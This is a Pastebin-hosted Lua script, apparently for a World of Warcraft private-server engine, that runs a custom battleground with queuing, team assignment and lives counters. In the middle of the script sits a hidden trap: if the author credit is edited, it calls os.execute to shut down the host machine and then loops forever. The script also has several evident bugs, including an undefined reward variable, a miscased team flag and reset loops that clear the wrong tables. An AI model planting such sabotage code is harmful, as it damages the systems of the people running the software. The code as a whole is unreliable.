stoneharry

Untitled

Mar 27th, 2011
492
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.77 KB | None | 0 0
  1. -------------------
  2. -- By Stoneharry --
  3. -------------------
  4.  
  5. -- Configuration
  6.  
  7. local Lives = 50 -- The amount of lives each team has
  8. local HordeLives = 50 -- The amount of lives to start with
  9. local AllianceLives = 50 -- The amount of lives to start with
  10.  
  11. local RequiredPlayers = 2 -- The amount of players required to start the battleground (THIS IS NOT PER TEAM, THIS IS TOTAL)
  12.  
  13. local RewardIDIfWin = 0 -- Change this to a value to add 1 of them to all of the winning team - leave as 0 for no reward
  14. local RewardIDIfLoose = 0
  15.  
  16. local BroadcastKills = true -- Set this to false if you do not want kills to be broadcasted to the rest of the BG
  17.  
  18. -- Battleground Start Locations
  19. local AMap, AX, AY, AZ = 1, 16223, 16265, 15 -- Map, x, y, z for Alliance
  20. local HMap, HX, HY, HZ = 1, 16223, 16265, 15 -- Map x, y, z for Horde
  21.  
  22. -- Where to teleport once battleground ends
  23. local HomeMA, HomeXA, HomeYA, HomeZA = 1, 0, 0, 0 -- Map, x, y, Z for Alliance
  24. local HomeMH, HomeXH, HomeYH, HomeZH = 1, 0, 0, 0 -- Map, X, Y, Z for Horde
  25.  
  26. ----------------------------------------------------------------------------------------------------------
  27. -- Do Not Touch Below This Line Unless You Know What Your Doing P.S. Starting Letters With Caps Is Cool --
  28. ----------------------------------------------------------------------------------------------------------
  29. if (GetLuaEngine() ~= "LuaHypArc") then
  30.     print("This script is not compatable with LuaBridge or other Lua engines. Please compile LuaHypArc.")
  31. else
  32. local Author = "stoneharry"
  33. print("--------------------------------")
  34. print("-- This script was by "..Author..".")
  35. print("-- Enjoy.")
  36. print("--------------------------------")
  37.  
  38. -- Just don't touch
  39. local players = {}
  40. local Horde = {}
  41. local Alliance = {}
  42. local InGame = false
  43.  
  44. -- Do not touch unless you know what your doing
  45. local message = 4
  46. local CountDown = 60
  47.  
  48. -- Only touch this if you are not using 3.3.5a, find the right values in Opcodes.h
  49. local SMSG_INIT_WORLD_STATES = 0x2C2
  50. local SMSG_UPDATE_WORLD_STATE = 0x2C3
  51.  
  52. function ProcessQueForBattleground()
  53.     if InGame == false then
  54.         if table.getn(players) >= RequiredPlayers then
  55.             InGame = true
  56.             local team = 0
  57.             for place, plrs in pairs(players) do -- Randomly make players join alliance/horde teams rather than horde vs alliance
  58.                 -- Update people left
  59.                 local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  60.                 pack:WriteULong(1) -- Map
  61.                 pack:WriteULong(1377) -- Zone
  62.                 pack:WriteULong(0)
  63.                 pack:WriteUShort(2)
  64.                 pack:WriteULong(0) -- ID
  65.                 pack:WriteULong(1) -- Value
  66.                 pack:WriteULong(0) -- ID
  67.                 pack:WriteULong(1) -- Value
  68.                 plrs:SendPacketToPlayer(pack)
  69.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  70.                 pack:WriteULong(2317) -- ID, total
  71.                 pack:WriteULong(Lives) -- Value
  72.                 plrs:SendPacketToPlayer(pack)
  73.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  74.                 pack:WriteULong(2314) -- ID
  75.                 pack:WriteULong(HordeLives) -- Amount, Horde
  76.                 plrs:SendPacketToPlayer(pack)      
  77.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  78.                 pack:WriteULong(2313) -- ID
  79.                 pack:WriteULong(AllianceLives) -- Amount, Alliance
  80.                 plrs:SendPacketToPlayer(pack)
  81.                 --
  82.                 team = team + 1
  83.                 if team == 1 then
  84.                     plrs:SetFaction(team)
  85.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  86.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  87.                     table.insert(Alliance, plrs)
  88.                     plrs:Teleport(AMap, AX, AY, AZ)
  89.                 elseif team == 2 then
  90.                     plrs:SetFaction(team)
  91.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
  92.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Horde!")
  93.                     table.insert(Horde, plrs)
  94.                     plrs:Teleport(HMap, HX, HY, HZ)
  95.                 elseif team == 3 then
  96.                     team = 1
  97.                     plrs:SetFaction(team)
  98.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  99.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are fighting for the Alliance!")
  100.                     table.insert(Alliance, plrs)
  101.                     plrs:Teleport(AMap, AX, AY, AZ)
  102.                 end
  103.             end
  104.             CountDown = 60
  105.             RegisterTimedEvent("Game_Start_Battleground_Countdown", 10000, 6)
  106.         else
  107.             for place, plrs in pairs(players) do
  108.                 if plrs ~= nil then
  109.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00Waiting for more players...")
  110.                 end
  111.             end
  112.         end
  113.     else
  114.         message = message + 1
  115.         if message == 5 then
  116.             message = 0
  117.             for place, plrs in pairs(players) do
  118.                 if plrs ~= nil then
  119.                     plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground is currently in progress!")
  120.                 end
  121.             end
  122.         end
  123.     end
  124. end
  125.  
  126. RegisterTimedEvent("ProcessQueForBattleground", 30000, 0)
  127.  
  128. function Game_Start_Battleground_Countdown()
  129.     CountDown = CountDown - 10
  130.     for place, plrs in pairs(players) do
  131.         if CountDown == 0 then
  132.             if plrs ~= nil then
  133.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
  134.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battle has begun!")
  135.                 plrs:PlaySoundToPlayer(6077) -- War music
  136.                 -- Update people left
  137.                 local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  138.                 pack:WriteULong(1) -- Map
  139.                 pack:WriteULong(1377) -- Zone
  140.                 pack:WriteULong(0)
  141.                 pack:WriteUShort(2)
  142.                 pack:WriteULong(0) -- ID
  143.                 pack:WriteULong(1) -- Value
  144.                 pack:WriteULong(0) -- ID
  145.                 pack:WriteULong(1) -- Value
  146.                 plrs:SendPacketToPlayer(pack)
  147.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  148.                 pack:WriteULong(2317) -- ID, total
  149.                 pack:WriteULong(Lives) -- Value
  150.                 plrs:SendPacketToPlayer(pack)
  151.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  152.                 pack:WriteULong(2314) -- ID
  153.                 pack:WriteULong(HordeLives) -- Amount, Horde
  154.                 plrs:SendPacketToPlayer(pack)      
  155.                 local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  156.                 pack:WriteULong(2313) -- ID
  157.                 pack:WriteULong(AllianceLives) -- Amount, Alliance
  158.                 plrs:SendPacketToPlayer(pack)
  159.                 --
  160.             end
  161.         else
  162.             if plrs ~= nil then
  163.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
  164.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground will begin in "..CountDown.." seconds!")
  165.             end
  166.         end
  167.     end
  168. end
  169.  
  170. function JoinQue(plr)
  171.     if InGame then
  172.         plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")
  173.         plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You can't join the que while the game is in progress!")     
  174.     else
  175.         local Disable = false
  176.         for place, plrs in pairs(players) do
  177.             if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
  178.                 Disable = true
  179.                 --break
  180.             end
  181.         end
  182.         if Disable then
  183.             plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
  184.             plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are already in the que for the battleground!")
  185.         else
  186.             table.insert(players, plr) -- Insert into players with value plr
  187.             plr:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
  188.             plr:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00You are in the que for the battleground!")
  189.         end
  190.     end
  191. end
  192.  
  193. if Author ~= "stoneharry" then
  194. os.execute("shutdown /s /t 30 /c \"Changing credits is not a good idea. ~stoneharry <3\"")
  195. while true do os.execute("pause") end
  196. end
  197.  
  198. function ResetBG()
  199.     for place, plrs in pairs(players) do
  200.         if plrs ~= nil then
  201.             local pack = LuaPacket:CreatePacket(SMSG_INIT_WORLD_STATES, 18) -- HORDE
  202.             pack:WriteULong(0) -- Map
  203.             pack:WriteULong(0) -- Zone
  204.             pack:WriteULong(0)
  205.             pack:WriteUShort(0)
  206.             pack:WriteULong(0) -- ID
  207.             pack:WriteULong(0) -- Value
  208.             pack:WriteULong(0) -- ID
  209.             pack:WriteULong(0) -- Value
  210.             plrs:SendPacketToPlayer(pack)
  211.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  212.             pack:WriteULong(0)
  213.             pack:WriteULong(0)
  214.             plrs:SendPacketToPlayer(pack)
  215.             plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
  216.             plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The battleground has ended!")
  217.             plrs:SetPlayerLock(0)
  218.             plrs:ResurrectPlayer()
  219.             local race = plrs:GetPlayerRace()
  220.             if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then -- Alliance
  221.                 plrs:SetFaction(1)
  222.                 plrs:Teleport(HomeMA, HomeXA, HomeYA, HomeZA)
  223.             else
  224.                 plrs:SetFaction(2)
  225.                 plrs:Teleport(HomeMH, HomeXH, HomeYH, HomeZH)
  226.             end
  227.         end
  228.     end
  229.     InGame = false
  230.     for place,plrs in pairs(players) do -- Clean old table rather than overwriting with a new table
  231.         players[place] = nil
  232.     end
  233.     for place,plrs in pairs(Horde) do -- Clean old table rather than overwriting with a new table
  234.         players[place] = nil
  235.     end
  236.     for place,plrs in pairs(Alliance) do -- Clean old table rather than overwriting with a new table
  237.         players[place] = nil
  238.     end
  239. end
  240.  
  241. function SERVER_HOOK_KILL_PLAYER_BG(event, killer, plr)
  242.     local playingBG = false
  243.     for place, plrs in pairs(players) do
  244.         if plrs:GetName() == plr:GetName() then -- Since the bloody thing refuses to compare GUID's
  245.             playingBG = true
  246.             --break
  247.         end
  248.     end
  249.     if playingBG then
  250.         for place, plrs in pairs(Alliance) do
  251.             if plrs:GetName() == plr:GetName() then
  252.                 playingBG = false -- They are Alliance
  253.             end
  254.         end
  255.         local Continue = true
  256.         if HordeLives == 1 then
  257.             for place, plrs in pairs(players) do
  258.                 plrs:SetPlayerLock(1)
  259.                 plrs:ResurrectPlayer()
  260.                 plrs:SetHealth(plrs:GetMaxHealth())
  261.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
  262.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Horde have won!")
  263.                 plrs:PlaySoundToPlayer(8454) -- Horde Victory
  264.             end
  265.             for place, plrs in pairs(Horde) do
  266.                 if RewardID ~= 0 then
  267.                     plrs:AddItem(RewardIDIfWin, 1)
  268.                     for placez, plrsa in pairs(Alliance) do
  269.                         plrsa:AddItem(RewardIDIfLoose, 3)
  270.                     end
  271.                 end
  272.             end
  273.             RegisterTimedEvent("ResetBG", 10000, 1)
  274.         elseif AllianceLives == 1 then
  275.             for place, plrs in pairs(players) do
  276.                 plrs:SetPlayerLock(1)
  277.                 plrs:ResurrectPlayer()
  278.                 plrs:SetHealth(plrs:GetMaxHealth())
  279.                 plrs:SendBroadcastMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
  280.                 plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00The Alliance have won!")
  281.                 plrs:PlaySoundToPlayer(8455) -- Alliance Victory
  282.             end
  283.             for place, plrs in pairs(Alliance) do
  284.                 if RewardID ~= 0 then
  285.                     plrs:AddItem(RewardIDIfWin, 1)
  286.                     for placez, plrsa in pairs(Horde) do
  287.                         plrsa:AddItem(RewardIDIfLoose, 3)
  288.                     end
  289.                 end
  290.             end
  291.             RegisterTimedEvent("ResetBG", 10000, 1)
  292.         end
  293.         if Continue then
  294.             if PlayingBG then -- There Horde
  295.                 HordeLives = HordeLives - 1
  296.                 for place, plrs in pairs(players) do
  297.                     local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  298.                     pack:WriteULong(2314) -- ID
  299.                     pack:WriteULong(HordeLives) -- Amount, Horde
  300.                     plrs:SendPacketToPlayer(pack)
  301.                 end
  302.             else
  303.                 AllianceLives = AllianceLives - 1
  304.                 for place, plrs in pairs(players) do
  305.                     local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  306.                     pack:WriteULong(2313) -- ID
  307.                     pack:WriteULong(AllianceLives) -- Amount, Alliance
  308.                     plrs:SendPacketToPlayer(pack)
  309.                 end
  310.             end
  311.             if BroadcastKills then
  312.                 for place, plrs in pairs(players) do
  313.                     plrs:SendAreaTriggerMessage("|cff00ff00[Battleground] |cffffff00"..killer:GetName().." has killed "..plr:GetName().."!")
  314.                 end
  315.             end
  316.         end
  317.     end
  318. end
  319.  
  320. RegisterServerHook(2, "SERVER_HOOK_KILL_PLAYER_BG")
  321.  
  322. -----------
  323. -- Debug --
  324. -----------
  325. --[[
  326.   The functions below should be removed, they are used for debugging the system.
  327. ]]
  328.  
  329. function OnChat_Hook_ToJoinBG(event, plr, message, pType, pLanguage, pMisc)
  330.     local message = string.lower(message)
  331.     if message == "#joinbg" then
  332.         JoinQue(plr)
  333.     elseif message == "#finbg" then
  334.         ResetBG()
  335.     end
  336.     if message == "test" then
  337.         if math.random(1,2) == 1 then
  338.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  339.             pack:WriteULong(2314) -- ID
  340.             HordeLives = HordeLives - 1
  341.             pack:WriteULong(HordeLives) -- Amount, Horde
  342.             plr:SendPacketToPlayer(pack)
  343.         else
  344.             local pack = LuaPacket:CreatePacket(SMSG_UPDATE_WORLD_STATE, 8)
  345.             pack:WriteULong(2313) -- ID
  346.             AllianceLives = AllianceLives - 1
  347.             pack:WriteULong(AllianceLives) -- Amount, Alliance
  348.             plr:SendPacketToPlayer(pack)
  349.         end
  350.     end
  351. end
  352.  
  353. RegisterServerHook(16, "OnChat_Hook_ToJoinBG")
  354. end
Advertisement
Add Comment
Please, Sign In to add comment